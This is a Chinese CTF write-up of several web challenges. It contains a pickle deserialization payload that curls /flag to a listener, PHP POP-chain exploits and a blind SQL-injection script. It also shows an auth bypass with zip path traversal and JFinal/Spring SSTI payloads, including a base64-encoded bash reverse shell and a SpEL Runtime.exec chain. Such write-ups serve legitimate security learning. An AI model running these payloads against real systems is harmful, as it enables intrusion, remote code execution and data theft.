baby md5

一开始没给附件,做不了,后面发了附件,很简单的签到,没啥可说的

//XFF头绕过isRequestFromLocal
/?key1=s1885207154a&key2=240610708&cmd=("\x73\x79\x73\x74\x65\x6d")("nl /f*");

babyWeb

直接看 cookie,base64 解码后明显是 pickle 序列化的数据,直接打个 pickle 反序列化 rce 即可

import pickle
import base64

class GetShellWithPython(object):
    def __reduce__(self):
        import subprocess
        return (subprocess.call,
                (['python',
                  '-c',
                  'import os;'
                  'os.system("curl http://10.50.109.9:4444?a=`cat /flag`");'],))
    
pickleData = pickle.dumps(GetShellWithPython())

print(base64.b64encode(pickleData))

内网和题目是通的,本地 python -m http.server 4444 开个监听

然后生成的 cookie 替换下发过去即可 rce 外带出 flag

easy serialize

常规 php 反序列化

exp:

<?php
//flag is in /flag.php
class baby{
    public $var;
    public $var2;
    public $var3;

}

class young{
    public $var;

}

class old{
    public $var;
}

$b = new baby();
$y = new young();
$o = new old();
$b1 = new baby();

$o->var = $y;
$b->var2 = $o;
$b->var3 = "a";
$y->var = $b1;
$b1->var = "flag.php";

echo urlencode(serialize($b));

p2rce

感觉这个题难度分值给错了,应该是道中等偏困难的题,考点比较多

题目给了源码

<?php
error_reporting(0);

class CCC {
    public $c;
    public $a;
    public $b;

    public function __destruct()
    {
        $this->a = 'flag';
        if($this->a === $this->b) {
            echo $this->c;
        }
    }
}

class AAA {
    public $s;
    public $a;

    public function __toString()
    {
        $p = $this->a;
        return $this->s->$p;
    }
}

class BBB {
    private $b;
    public function __get($name)
    {
        if (is_string($this->b) && !preg_match("/[A-Za-z0-9_$]+/", $this->b)) {
            global $flag;
            $flag = $this->b;
            return 'ok';
        } else {
            return '<br/>get it!!'; 
        }
    }
}

if(isset($_GET['ctf'])) {
    if(preg_match('/flag/i', $_GET['ctf'])) {
       die('nonono');
    }
    $a = unserialize($_GET['ctf']);
    system($flag);
    throw new Exception("goaway!!!");
} else {
    highlight_file(__FILE__);
}

首先第一个点就是有 throw new Exception("goaway!!!"); 这么一行,所以要要手动 gc 去主动触发反序列化

,很多文章都有讲。然后 __destruct 是起点,往后找链子就行,最后还要注意这里 preg_match('/flag/i', $_GET['ctf'])

$this->a = 'flag';
        if($this->a === $this->b) {
            echo $this->c;
        }

这里的绕过。这里使用引用就能绕了,即让变量 a 和变量 b 指向同一地址空间即可

然后最后的最后,就是如何无数字无字母 rce 了,这里其实可以用 php 文件上传的临时文件处理。一般 php 处理文件上传都是先将文件放在临时目录 /tmp 下,文件名一般为 /tmp/phpXXXXXX(不管有没有处理文件上传的逻辑,只要给了文件就都会先存在这里)。然后就可以这里执行命令来运行我们上传的文件 . /???/????????[@-[]

具体可以参考 p 神的这篇文章 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

Exp

<?php
class AAA {
    public $s;
    public $a;
}

class BBB {
    private $b;
}

class CCC {
    public $a;
    public $c;
    public $b;
}

$p = '. /???/????????[@-[]';
$a = new AAA($b, 'eval');
$c = new CCC($a);
$b = new BBB($p);
$a1 = array($c, null);
$s = serialize($a1);
$s = str_replace('1;N', '0;N', $s);
echo urlencode($s);

最后自己用 burp 手动多次发送这样的包就行了

POST /?ctf=a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22CCC%22%3A3%3A%7Bs%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22c%22%3BO%3A3%3A%22AAA%22%3A2%3A%7Bs%3A1%3A%22s%22%3BO%3A3%3A%22BBB%22%3A1%3A%7Bs%3A6%3A%22%00BBB%00b%22%3Bs%3A20%3A%22.+%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40-%5B%5D%22%3B%7Ds%3A1%3A%22a%22%3Bs%3A4%3A%22eval%22%3B%7Ds%3A1%3A%22b%22%3BR%3A3%3B%7Di%3A0%3BN%3B%7D HTTP/1.1
Host: localhost
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 155
Content-Type: multipart/form-data; boundary=c25447769cf9fc1afc13ede702b4279d

--c25447769cf9fc1afc13ede702b4279d
Content-Disposition: form-data; name="file"; filename="file"

#/bin/sh
cat /*
--c25447769cf9fc1afc13ede702b4279d--

Server-Side Read File

简单的 java 题,给了 jar 包,用 IDEA 打开后发现有一处任意文件读的接口

但是直接访问会报 403,用 nginx 做了反代,有 waf,所以要通过他给的 /fetch 接口来打一个 ssrf 读文件

但直接给这样也是 403

/fetch?url=http://127.0.0.1:8080/downloadFile/../flag

但注意到这里,读文件前先进行了一次 url 解码,同时对文件名进行了替换,将 - 替换为了 / ,所以可以构造 ..-flag 来绕

最后再双 url 编码

/fetch?url=%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%38%30%38%30%2f%64%6f%77%6e%6c%6f%61%64%46%69%6c%65%2f%25%32%65%25%32%65%25%32%64%25%36%36%25%36%63%25%36%31%25%36%37

mysql8

(题目名字忘了,没做出来,简单说下自己当时的情况)

题目说了是 mysql8,那肯定是用 mysql8 的特性来绕了

mysql8 的话有新特性,table 关键字和 values 关键字,然后题目 ban 了很多东西,什么 select file updatexml extractvalue 之类的都 ban 了,当时 exp 关键字能用,还是可以用来打报错注入的。后续用 table 盲注出了 user 表的所有字段值,但都没啥用,flag 在哪个表也不知道,断网很难受,最后也没做出来

我的盲注脚本

import requests

dic = '_0123456789abcdefghijklmnopqrstuvwxyz{}'  # 字典
url = "http://10.1.100.50:8081/login.php"

proxy = {"http": "http://127.0.0.1:8080"}

def str2hex(str):
    result = '0x'
    for i in str:
        result += hex(ord(i))[2:]
    return result

def boomSql():
    result = ''
    for i in range(1, 40):
        for j in range(len(dic)):
            #print(dic[j])
            payload1 = {"username": f"-1'||(1,{str2hex(result+dic[j])})<(table user limit 1);#",
                        "password": "1"
                        }

            payload2 = {"username": f"-1'||(1,'user1,{str2hex(result+dic[j])})<(table user limit 1);#",
                        "password": "1"
                        }

            res = requests.post(url=url, data=payload1, proxies=proxy)
            # print(res.text)
            if "WelCome" in res.text:
                continue
            elif "username or password error" in res.text:
                # 返回假时表示上一个字母即为正确结果
                result += dic[j - 1]
                break
        print(result)
if __name__ == '__main__':
    boomSql()

只搞出 user 表,应该是有其他方法可以搞出全部表名的。。。。。

ezWEB(复现)

这里我自己搭了个本地环境用来测试。

题目开局让读 hint.txt,之后根据 hint.txt 拿到 jar 包,然后审计

其实整个代码看下来思路差不多就有了,但因为是断网的原因,本地没有关于 jfinal enjoy 的相关资料,而且时间也不够了,所以还是有点可惜。

大致的思路就是先绕过 spring 的拦截器限制到 admin 路由,然后传一个恶意的 zip 包,由于文件名可控,所以可以构造 ../template/xxx.zip 这样的文件名将恶意 zip 文件写入模板目录 /usr/src/app/template 来造成一个 ssti。(所以其实难点是如何构造 enjoy 引擎的表达式来读文件或 RCE?)

https://jfinal.com/doc/6-1

首先第一个点就是如何绕过这个拦截器的限制

其实看到这个 request.getRequestURI() 就大致能知道怎么绕了

request.getRequestURI() 取到的值是没有进行 url 解码后的 uri,而后续 tomcat 在分发 servlet 时是根据解码后的 uri 来的,同时也会对 ../ 进行处理,这其实 tomcat 解析差异造成的漏洞。相关可以参考 https://xz.aliyun.com/t/7544

所以我们可以这样来绕过 /index/%2e%2e/admin/hello ,这样 request.getRequestURI() 取到的值为 /index/%2e%2e/admin/hello ,满足 return uri.startsWith("/index") || uri.equals("/");,返回 true,成功绕过权限校验,而后续 tomcat 对 uri 进行解析,分发到 /admin/hello 路由。

这里我自己搭了一个环境

可以看到成功进入 admin 路由

然后注意到 admin 路由存在文件上传,并且会将我们上传的 zip 文件解压到 /usr/src/app/upload 目录

同时注意到项目模板使用了 jfinal enjoy,这里的配置开启了热部署

所以如果我们想办法将文件弄到其模板目录 /usr/src/app/template 中,覆盖该目录下的 html 文件就可以实现 SSTI。

最初我看到的第一想法是利用 zip slip,但注意这里对压缩包里的文件名进行了校验,若文件名以 ../ 开头就跳过了,并且不能嵌套文件夹,所以不太可行。

回过头来看,注意到在文件上传处获得文件名直接用了 file.getOriginalFilename() ,没有任何过滤,所以可以构造这样的文件名(../template/admin.zip)来将我们的压缩包上传至 /usr/src/app/template 目录,这样根据其后端的解压逻辑,就会将解压好的文件放在 /usr/src/app/template/admin/ 目录,这样我们覆盖 admin 下的 hello.html 即可造成 ssti。

所以首先构造恶意的压缩文件

import zipfile

binary = b'hack!!!#(11*11)'
zipFile = zipfile.ZipFile("admin.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("admin.zip")
zipFile.writestr("hello.html", binary)
zipFile.close()

然后上传压缩包,这里有个比较坑的点,比赛时我也在这里浪费了很多时间,我的 burp 有问题,它莫名其妙的把我的压缩包给改了,导致我上传的压缩包一直是损坏的,一直解压失败,后面写 python 脚本上传,但 request 库有个坑人的点就是它会把你的 url 自动进行解码,也就导致了没法利用 /index/%2e%2e/admin/hello 来绕过权限校验。所以最后无奈只能写个 socket 来发包了。

import socket

host = "112.124.44.238"
port = 9124
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, port)
client_socket.connect(server_address)

with open("admin.zip", "rb") as f:
    zipContent = f.read()
    ziptLength = len(zipContent)
    data = """--d96ac2008e6f77c16d20d99e223ea4b9\r\nContent-Disposition: form-data; name="file"; filename="../template/admin.zip"\r\n\r\n""".encode() + zipContent + """\r\n--d96ac2008e6f77c16d20d99e223ea4b9--\r\n""".encode()
    contentLength = len(data)
    payload = f"""POST /index/%2e%2e/admin/upload HTTP/1.1\r\nHost: {host}:{port}\r\nConnection: close\r\nContent-Length: {contentLength}\r\nContent-Type: multipart/form-data; boundary=d96ac2008e6f77c16d20d99e223ea4b9\r\n\r\n""".encode() + data
print(payload)
try:
    client_socket.sendall(payload) 
    data = client_socket.recv(4096)
    print(data.decode())
finally:
    client_socket.close()

现在访问 /index/%2e%2e/admin/hello 可以看到成功覆盖

然后就是如何利用 ssti 了,这里得查文档,但当时是断网,所以后面就基本很难了

查文档 https://jfinal.com/doc/6-3 ,表达式这里可以调用静态方法,但题目的 jfinal 的版本是 5.1.2,并没有开启静态方法支持,所以想 rce 就比较难了,但注意到这里 https://jfinal.com/doc/6-4

#include 指令可以打一个文件包含,所以构造模板 #include("../../../../../flag") 来读 falg 即可(实测只能用相对路径,绝对路径会报错)

Exp:

import zipfile
import socket
import os

host = "xxx.xxx.xxx.xxx"
port = 9124

def genZip():
    binary = b'#include("../../../../../flag")'
    if os.path.isfile("admin.zip"):
        os.unlink("admin.zip")
    zipFile = zipfile.ZipFile("admin.zip", "a", zipfile.ZIP_DEFLATED)
    info = zipfile.ZipInfo("admin.zip")
    zipFile.writestr("hello.html", binary)
    zipFile.close()

def sendHttp(httpData):
    
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_address = (host, port)
    client_socket.connect(server_address)
    try:
        client_socket.sendall(httpData) 
        data = client_socket.recv(4096)
        print(data.decode())
    finally:
        client_socket.close()
        
if __name__ == "__main__":

    with open("admin.zip", "rb") as f:
        zipContent = f.read()
        ziptLength = len(zipContent)
        data = """--d96ac2008e6f77c16d20d99e223ea4b9\r\nContent-Disposition: form-data; name="file"; filename="../template/admin.zip"\r\n\r\n""".encode() + zipContent + """\r\n--d96ac2008e6f77c16d20d99e223ea4b9--\r\n""".encode()
        contentLength = len(data)
        payload = f"""POST /index/%2e%2e/admin/upload HTTP/1.1\r\nHost: {host}:{port}\r\nConnection: close\r\nContent-Length: {contentLength}\r\nContent-Type: multipart/form-data; boundary=d96ac2008e6f77c16d20d99e223ea4b9\r\n\r\n""".encode() + data

    readflag = f"GET /index/%2e%2e/admin/hello HTTP/1.1\r\nHost: {host}:{port}\r\nConnection: close\r\n\r\n".encode()
    sendHttp(payload)
    sendHttp(readflag)

补充

后面看到别的师傅也发了这道题的题解,找到了 jfinal 命令执行的方法,这里简单记录下。

参考大头师傅 https://mp.weixin.qq.com/s/18zn-CjDNl_I4cobULozlw

由于静态方法要手动开启

image-20231121180701849

所以我们可以利用 springMacroRequestContext获取 jfinalViewResolver 这个Bean,然后调用engine去将setStaticMethodExpression设置为true

然后 题目为JDK18,调用JShell执行命令不受Module限制

#(springMacroRequestContext.webApplicationContext.getBean('jfinalViewResolver').engine.setStaticMethodExpression(true))
#((jdk.jshell.JShell::create()).eval('Runtime.getRuntime().exec(new String("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzI5OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"));'))

这里主要记录下 springMacroRequestContext 这个模板中能访问的内置对象是怎么来的,以及后续获取到IOC容器中bean的具体原理。

首先说一说spring MVC的视图渲染流程,直接参考这篇文章即可,非常详细 https://mp.weixin.qq.com/s/Dt0H4a8J4o6KC-H32ExGIA

直接在controller 返回值这里打断点调试,然后往上寻找调用栈。

image-20231121183259308

我们定位到 org.springframework.web.servlet.DispatcherServlet#doDispatch 这个方法里,这里初始化一个 ModelAndView

image-20231121190912470之后在ha.handle(processedRequest, response, mappedHandler.getHandler()); 处理完后得到一个 ModelAndView 的实例(这里就是上文 return "index"; 执行后最终得到的值)

image-20231121190930023

可以看到得到的 ModelAndView 实例就是上文controller中的mv(model.addAttribute("information", "hint.txt等待你的下载");)实例对象

image-20231121191515875

而我们后续模板引擎在上下文环境取值就是在 ModelAndView 中的HashMap中得到。

那我们继续往下走,后续就盯着这个 mv 变量

跳过中间一些无关紧要的地方,我们直接来到 org.springframework.web.servlet.DispatcherServlet#processDispatchResult 方法这里,这里是正常非异常流程中 doDispatch 方法的最后一步,直接进这个方法看看

image-20231121192831328

进入 render 方法对视图进行渲染,之后根据 viewName 来获取view视图

image-20231121192951369

进入 resolveViewName 方法,这里遍历所有模板bean

image-20231121193310299

这里可以看到我们配置的 JFinal 模板引擎

内部其实是直接通过 ContentNegotiatingViewResolvergetBestView 方法来根据mediaType选择最合适的模板引擎

image-20231121193745788

所以自然最后返回的View就是 JFinalView

image-20231121193909685

image-20231121193928886

之后就是用得到的模板引擎进行渲染

image-20231121194034740

renderMergedOutputModel 方法中统一的将一些必要的对象添加到 model 上下文

image-20231121194132165

内部执行代码是这样的

protected final void renderMergedOutputModel(
			Map<String, Object> model, HttpServletRequest request, HttpServletResponse response) throws Exception {

		if (this.exposeRequestAttributes) {
			Map<String, Object> exposed = null;
			for (Enumeration<String> en = request.getAttributeNames(); en.hasMoreElements();) {
				String attribute = en.nextElement();
				if (model.containsKey(attribute) && !this.allowRequestOverride) {
					throw new ServletException("Cannot expose request attribute '" + attribute +
						"' because of an existing model object of the same name");
				}
				Object attributeValue = request.getAttribute(attribute);
				if (logger.isDebugEnabled()) {
					exposed = exposed != null ? exposed : new LinkedHashMap<>();
					exposed.put(attribute, attributeValue);
				}
				model.put(attribute, attributeValue);
			}
			if (logger.isTraceEnabled() && exposed != null) {
				logger.trace("Exposed request attributes to model: " + exposed);
			}
		}

		if (this.exposeSessionAttributes) {
			HttpSession session = request.getSession(false);
			if (session != null) {
				Map<String, Object> exposed = null;
				for (Enumeration<String> en = session.getAttributeNames(); en.hasMoreElements();) {
					String attribute = en.nextElement();
					if (model.containsKey(attribute) && !this.allowSessionOverride) {
						throw new ServletException("Cannot expose session attribute '" + attribute +
							"' because of an existing model object of the same name");
					}
					Object attributeValue = session.getAttribute(attribute);
					if (logger.isDebugEnabled()) {
						exposed = exposed != null ? exposed : new LinkedHashMap<>();
						exposed.put(attribute, attributeValue);
					}
					model.put(attribute, attributeValue);
				}
				if (logger.isTraceEnabled() && exposed != null) {
					logger.trace("Exposed session attributes to model: " + exposed);
				}
			}
		}

		if (this.exposeSpringMacroHelpers) {
			if (model.containsKey(SPRING_MACRO_REQUEST_CONTEXT_ATTRIBUTE)) {
				throw new ServletException(
						"Cannot expose bind macro helper '" + SPRING_MACRO_REQUEST_CONTEXT_ATTRIBUTE +
						"' because of an existing model object of the same name");
			}
			// Expose RequestContext instance for Spring macros.
			model.put(SPRING_MACRO_REQUEST_CONTEXT_ATTRIBUTE,
					new RequestContext(request, response, getServletContext(), model));
		}

		applyContentType(response);

		if (logger.isDebugEnabled()) {
			logger.debug("Rendering [" + getUrl() + "]");
		}

		renderMergedTemplateModel(model, request, response);
	}

这里依次将request中的属性添加到 model 中

image-20231121194500119

之后在 169 行看到了我们翘首以盼的 springMacroRequestContext 属性
这里将请求上下文添加到 model 里

image-20231121194707746

new RequestContext(request, response, getServletContext(), model) 中可以看到 webApplicationContext 的值为spring的ApplicationContext上下文

image-20231121195006721

同时也存在 getWebApplicationContext ,可以获取到context对象

image-20231121195125820

image-20231121195613787

最后就进入 JFinalView 对视图进行渲染

image-20231121195835748

可以看到里面存在 springMacroRequestContext 对象

然后在模板中,获取到context上下文,然后获取 jfinalViewResolver 这个bean,获得其 engine 属性,打开静态方法调用支持

#(springMacroRequestContext.webApplicationContext.getBean('jfinalViewResolver').engine.setStaticMethodExpression(true))

还有就是上面spring MVC是如何获得我们自定义的模板引擎的呢?

我们看看 org.springframework.web.servlet.DispatcherServlet#initViewResolvers 方法

DispatcherServlet 初始化时会在当前IOC容器中寻找实现了 ViewResolver 接口的bean

image-20231121201216375

image-20231121201557456

然后看看 jfinalViewResolver 这个bean

image-20231121201651597

JFinalViewResolver 这个类确实是实现了 ViewResolver 接口

所以result中自然就就会有 JFinalViewResolver 这个bean对象了。

另外补充下,其实model中除了使用 springMacroRequestContext.webApplicationContext 来获取上下文,还可以使用 org.springframework.web.servlet.DispatcherServlet.CONTEXT 这个属性来获取,两个是一样的

image-20231121202216867

image-20231121202419707

image-20231121202436549

所以上面表达式指令获取可以通过 org.springframework.web.servlet.DispatcherServlet.CONTEXT 获取 ApplicationContext,但其实是个失败的方法,因为 JFinal 引擎会会把句点 . 解析为对象获取,所以不太可行。

还有就是 JFinal 对于表达式默认有黑名单

image-20231121211859574

image-20231121211906976

所以有两种方法取执行命令,一种是在jdk>=9情况下利用Jshell

#(springMacroRequestContext.webApplicationContext.getBean('jfinalViewResolver').engine.setStaticMethodExpression(true))
#((jdk.jshell.JShell::create()).eval('Runtime.getRuntime().exec(new String("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzI5OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"));'))

另外就是官方wp给出的https://mp.weixin.qq.com/s/nbutynF8EMsECsJMVuBPOA

非常巧妙

利用webApplicationContext其中的bean完成RCE。

webApplicationContext 中的 cachingMetadataReaderFactory.resourceLoader,该classloader重写并将loadClass方法设为了

public,我们可以通过其loadClass方法加载当前环境下的任意类。所以可以通过其加载SpelExpressionParser类并调用 JacksonObjectMapper的api对SpelExpressionParser进行实例化。最终通过spel表达式进行命令执行

这种方法不需要开启模板引擎的静态方法支持

#set(applicationContext = springMacroRequestContext.webApplicationContext)
#set(cachingMetadataReaderFactory = applicationContext.getBean('org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory'))
#set(clazz = cachingMetadataReaderFactory.resourceLoader.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser"))
#(cachingMetadataReaderFactory.resourceLoader.classLoader)
#set(instance = applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz))
#(instance.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue())

同样的,不只是 JFinal 这个模板引擎,从上面分析来看,其他各种模板引擎上下文环境最终都会有 springMacroRequestContext 这个属性,即能够获取到 webApplicationContext ,那么相当于有了整个spring IOC容器的控制权,可以获取内部各类bean,所以能干的事情还是挺多的……